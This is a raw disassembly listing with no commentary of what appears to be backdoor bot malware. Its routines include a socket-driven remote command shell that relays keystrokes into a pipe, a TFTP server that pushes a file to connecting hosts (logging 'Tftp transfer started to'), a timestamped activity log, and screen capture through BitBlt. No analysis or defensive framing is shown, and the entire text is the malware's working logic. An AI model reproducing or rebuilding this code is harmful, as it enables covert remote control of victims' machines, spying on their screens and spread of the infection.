; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F29F	proc near		; DATA XREF: sub_40EE3D+112o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		jmp	loc_40F398
; ---------------------------------------------------------------------------


loc_40F2BA:				; CODE XREF: sub_40F29F+10Ej
		cmp	[ebp+var_10], ebx
		jbe	short loc_40F2C7
		dec	[ebp+var_10]
		jmp	loc_40F39B
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F29F+1Ej
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_40F383
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_40F337
		cmp	al, 7Fh
		jz	short loc_40F337
		cmp	al, 3
		jnz	short loc_40F2F2
		push	ebx
		push	ebx
		call	dword_4E03F8	; GenerateConsoleCtrlEvent
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F2F2:				; CODE XREF: sub_40F29F+47j
		cmp	al, 15h
		jnz	short loc_40F314
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_40F34A
; ---------------------------------------------------------------------------


loc_40F314:				; CODE XREF: sub_40F29F+55j
		xor	ecx, ecx
		mov	[ebp+esi+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		jnz	short loc_40F34B
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_40F34A
; ---------------------------------------------------------------------------


loc_40F337:				; CODE XREF: sub_40F29F+3Fj
					; sub_40F29F+43j
		cmp	esi, ebx
		jbe	short loc_40F361
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_40F34A:				; CODE XREF: sub_40F29F+73j
					; sub_40F29F+96j
		pop	ecx


loc_40F34B:				; CODE XREF: sub_40F29F+85j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D66B8	; send
		test	eax, eax
		jle	short loc_40F3B3


loc_40F35E:				; CODE XREF: sub_40F29F+51j
		mov	al, byte ptr [ebp+arg_0+3]


loc_40F361:				; CODE XREF: sub_40F29F+9Aj
		cmp	al, 0Dh
		jnz	short loc_40F39B
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4E03B4	; WriteFile
		test	eax, eax
		jz	short loc_40F3B3
		xor	esi, esi
		jmp	short loc_40F39B
; ---------------------------------------------------------------------------


loc_40F383:				; CODE XREF: sub_40F29F+34j
		cmp	[ebp+var_C], ebx
		jnz	short loc_40F391
		mov	[ebp+var_C], 1
		jmp	short loc_40F39B
; ---------------------------------------------------------------------------


loc_40F391:				; CODE XREF: sub_40F29F+E7j
		mov	[ebp+var_10], 0Ah


loc_40F398:				; CODE XREF: sub_40F29F+16j
		mov	[ebp+var_C], ebx


loc_40F39B:				; CODE XREF: sub_40F29F+23j
					; sub_40F29F+C4j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D6680	; recv
		test	eax, eax
		jg	loc_40F2BA


loc_40F3B3:				; CODE XREF: sub_40F29F+BDj
					; sub_40F29F+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F29F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3B8	proc near		; CODE XREF: sub_40F3B8:loc_40F823p
					; DATA XREF: sub_401C87+1CF2o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4D66E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40F458
		push	190h
		call	dword_4E033C	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_40F438
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_40764A
		add	esp, 14h


loc_40F438:				; CODE XREF: sub_40F3B8+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_40F927
		push	[ebp+var_168]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread


loc_40F458:				; CODE XREF: sub_40F3B8+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4D6648	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4D6648	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4495AC[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4D6668	; ntohs
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4D6694	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F4E2
		push	1388h
		call	dword_4E033C	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_40F823
; ---------------------------------------------------------------------------


loc_40F4E2:				; CODE XREF: sub_40F3B8+10Fj
		lea	eax, [ebp+var_370]
		push	offset aRb_0	; "rb"
		push	eax
		call	sub_4176E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40F548
		push	190h
		call	dword_4E033C	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_40764A
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_40F927
		push	[ebp+var_168]
		call	sub_409979
		add	esp, 1Ch
		push	ebx
		call	dword_4E03A0	; ExitThread


loc_40F548:				; CODE XREF: sub_40F3B8+142j
					; sub_40F3B8+425j
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_40F7E6
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4D6650	; select
		test	eax, eax
		jle	loc_40F7DA
		mov	al, byte_4D93AC
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4D6640	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_417CB0
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_40F7C4
		cmp	[ebp+var_CF], 1
		jnz	loc_40F6D0
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_414EC0
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_419FD0
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_4173D0
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4D66CC	; sendto
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_40F6BE
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_40764A
		add	esp, 14h


loc_40F6BE:				; CODE XREF: sub_40F3B8+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_40F927
		pop	ecx
		jmp	loc_40F7DA
; ---------------------------------------------------------------------------


loc_40F6D0:				; CODE XREF: sub_40F3B8+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_40F7C4
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_40F707
		inc	al
		xor	cl, cl
		mov	[ebp+var_575], bl
		jmp	short loc_40F70F
; ---------------------------------------------------------------------------


loc_40F707:				; CODE XREF: sub_40F3B8+341j
		inc	cl
		mov	[ebp+var_575], cl


loc_40F70F:				; CODE XREF: sub_40F3B8+34Dj
		mov	[ebp+var_576], al
		mov	edi, 200h
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, edi
		push	eax
		push	[ebp+var_4]
		call	sub_419FD0
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_4173D0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4D66CC	; sendto
		cmp	edi, ebx
		jnz	short loc_40F7DA
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_40F7AF
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_40764A
		add	esp, 14h


loc_40F7AF:				; CODE XREF: sub_40F3B8+3D2j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_40F927
		inc	dword_4D9170
		pop	ecx
		jmp	short loc_40F7DA
; ---------------------------------------------------------------------------


loc_40F7C4:				; CODE XREF: sub_40F3B8+24Aj
					; sub_40F3B8+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_441968
		push	esi
		call	dword_4D66CC	; sendto


loc_40F7DA:				; CODE XREF: sub_40F3B8+1E9j
					; sub_40F3B8+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_40F548
		mov	edi, [ebp+arg_0]


loc_40F7E6:				; CODE XREF: sub_40F3B8+199j
		push	esi
		call	dword_4D6700	; closesocket
		push	[ebp+var_4]
		call	sub_414F40
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_40F817
		push	[ebp+var_168]
		call	sub_409979
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread


loc_40F817:				; CODE XREF: sub_40F3B8+44Aj
		push	3E8h
		call	dword_4E033C	; Sleep
		push	edi


loc_40F823:				; CODE XREF: sub_40F3B8+125j
		call	sub_40F3B8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F3B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F82F	proc near		; CODE XREF: sub_401C87+572Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_448820
		mov	edi, 0B8h


loc_40F843:				; CODE XREF: sub_40F82F+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40F866
		push	[ebp+arg_0]
		push	esi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F866
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4493A0
		jl	short loc_40F843
		jmp	short loc_40F8A8
; ---------------------------------------------------------------------------


loc_40F866:				; CODE XREF: sub_40F82F+17j
					; sub_40F82F+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_448820[esi]
		push	ebx
		call	sub_417700
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_417760
		push	9Fh
		lea	eax, dword_448838[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_417760
		add	esp, 24h
		inc	dword_437A40
		pop	ebx


loc_40F8A8:				; CODE XREF: sub_40F82F+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40F82F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8AF	proc near		; CODE XREF: sub_401C87+23A6p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_441974
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_448820


loc_40F8D9:				; CODE XREF: sub_40F8AF+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40F914
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_441988
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_417E80
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 2Ch


loc_40F914:				; CODE XREF: sub_40F8AF+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4493A0
		jl	short loc_40F8D9
		pop	edi
		pop	esi
		leave
		retn
sub_40F8AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F927	proc near		; CODE XREF: sub_401404+372p
					; sub_401404+3F3p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_4E03FC	; GetLocalTime
		mov	ebx, offset dword_4DD3B0
		mov	edi, 80h
		mov	esi, offset dword_4D93B0


loc_40F949:				; CODE XREF: sub_40F927+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40F960
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_417760
		add	esp, 0Ch


loc_40F960:				; CODE XREF: sub_40F927+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40F949
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_417E80
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F927	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F99B	proc near		; CODE XREF: sub_4019A5+F7p
					; sub_401C87:loc_402213p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40F927
		add	esp, 14h
		leave
		retn
sub_40F99B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+14h], ebx
		push	esi
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], ebx
		jnz	short loc_40F9F6
		push	ebx
		push	dword ptr [ebp+10h]
		push	offset dword_4419C0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40764A
		add	esp, 14h


loc_40F9F6:				; CODE XREF: .data:0040F9DDj
		cmp	[ebp+18h], ebx
		jz	short loc_40FA0E
		push	dword ptr [ebp+18h]
		call	sub_417960
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_40FA0E
		mov	[ebp-8], eax


loc_40FA0E:				; CODE XREF: .data:0040F9F9j
					; .data:0040FA09j
		mov	[ebp+14h], ebx
		mov	esi, offset dword_4D93B0


loc_40FA16:				; CODE XREF: .data:0040FA5Ej
		mov	eax, [ebp+14h]
		cmp	eax, [ebp-8]
		jge	short loc_40FA60
		cmp	[esi], bl
		jz	short loc_40FA4F
		cmp	[ebp+18h], ebx
		jz	short loc_40FA3B
		cmp	[ebp-4], ebx
		jnz	short loc_40FA3B
		push	dword ptr [ebp+18h]
		push	esi
		call	sub_411A8C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA4F


loc_40FA3B:				; CODE XREF: .data:0040FA25j
					; .data:0040FA2Aj
		push	1
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40764A
		add	esp, 14h


loc_40FA4F:				; CODE XREF: .data:0040FA20j
					; .data:0040FA39j
		inc	dword ptr [ebp+14h]
		add	esi, 80h
		cmp	esi, offset dword_4DD3B0
		jl	short loc_40FA16


loc_40FA60:				; CODE XREF: .data:0040FA1Cj
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40FA64	proc near		; CODE XREF: sub_401C87+22A1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D93B0
		xor	ecx, ecx


loc_40FA6B:				; CODE XREF: sub_40FA64+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4DD3B0
		jl	short loc_40FA6B
		cmp	[esp+arg_C], ecx
		jnz	short loc_40FA99
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_4419CC
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_40FA99:				; CODE XREF: sub_40FA64+19j
		push	offset dword_4419E0
		call	sub_40F927
		pop	ecx
		retn
sub_40FA64	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FAA5	proc near		; CODE XREF: sub_40C16C+219p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4D93B0


loc_40FAAB:				; CODE XREF: sub_40FAA5+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40FAC0
		push	[esp+4+arg_0]
		push	esi
		call	sub_411A8C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FAD2


loc_40FAC0:				; CODE XREF: sub_40FAA5+9j
		add	esi, 80h
		cmp	esi, offset dword_4DD3B0
		jl	short loc_40FAAB
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40FAD2:				; CODE XREF: sub_40FAA5+19j
		xor	eax, eax
		pop	esi
		inc	eax
		retn
sub_40FAA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD7	proc near		; DATA XREF: sub_401C87+2351o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	[ebp+var_8], 80h
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40FB2A
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_4419F4
		push	eax
		push	[ebp+var_11C]
		call	sub_40764A
		add	esp, 14h


loc_40FB2A:				; CODE XREF: sub_40FAD7+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40FB4A
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_417960
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40FB4A
		mov	[ebp+var_8], eax


loc_40FB4A:				; CODE XREF: sub_40FAD7+5Aj
					; sub_40FAD7+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4D93B0


loc_40FB53:				; CODE XREF: sub_40FAD7+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40FBAD
		cmp	byte ptr [esi],	0
		jz	short loc_40FB9C
		cmp	[ebp+var_98], 0
		jz	short loc_40FB82
		cmp	[ebp+var_4], 0
		jnz	short loc_40FB82
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_411A8C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FB9C


loc_40FB82:				; CODE XREF: sub_40FAD7+90j
					; sub_40FAD7+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40764A
		add	esp, 14h


loc_40FB9C:				; CODE XREF: sub_40FAD7+87j
					; sub_40FAD7+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4DD3B0
		jl	short loc_40FB53


loc_40FBAD:				; CODE XREF: sub_40FAD7+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_441A10
		push	eax
		call	sub_417CB0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40FBE7
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40764A
		add	esp, 14h


loc_40FBE7:				; CODE XREF: sub_40FAD7+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40F927
		push	[ebp+var_18]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
sub_40FAD7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC06	proc near		; CODE XREF: sub_401C87+3202p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4D6654	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_40FE3A
		push	8
		push	edi
		call	dword_4D6670	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4D6670	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4D6670	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_40FC68
		push	18h
		push	edi
		call	dword_4D6670	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_40FC6A
; ---------------------------------------------------------------------------


loc_40FC68:				; CODE XREF: sub_40FC06+50j
		xor	ebx, ebx


loc_40FC6A:				; CODE XREF: sub_40FC06+60j
		push	edi
		call	dword_4D66B4	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_40FE1F
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4D66AC	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_40FE2A
		push	eax
		push	[ebp+var_4]
		call	dword_4D6538	; SelectObject
		cmp	eax, esi
		jz	loc_40FE2A
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE2A
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4D66B0	; BitBlt
		test	eax, eax
		jz	loc_40FE2A
		cmp	ebx, esi
		jz	short loc_40FD27
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4D658C	; GetDIBColorTable
		mov	ebx, eax


loc_40FD27:				; CODE XREF: sub_40FC06+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
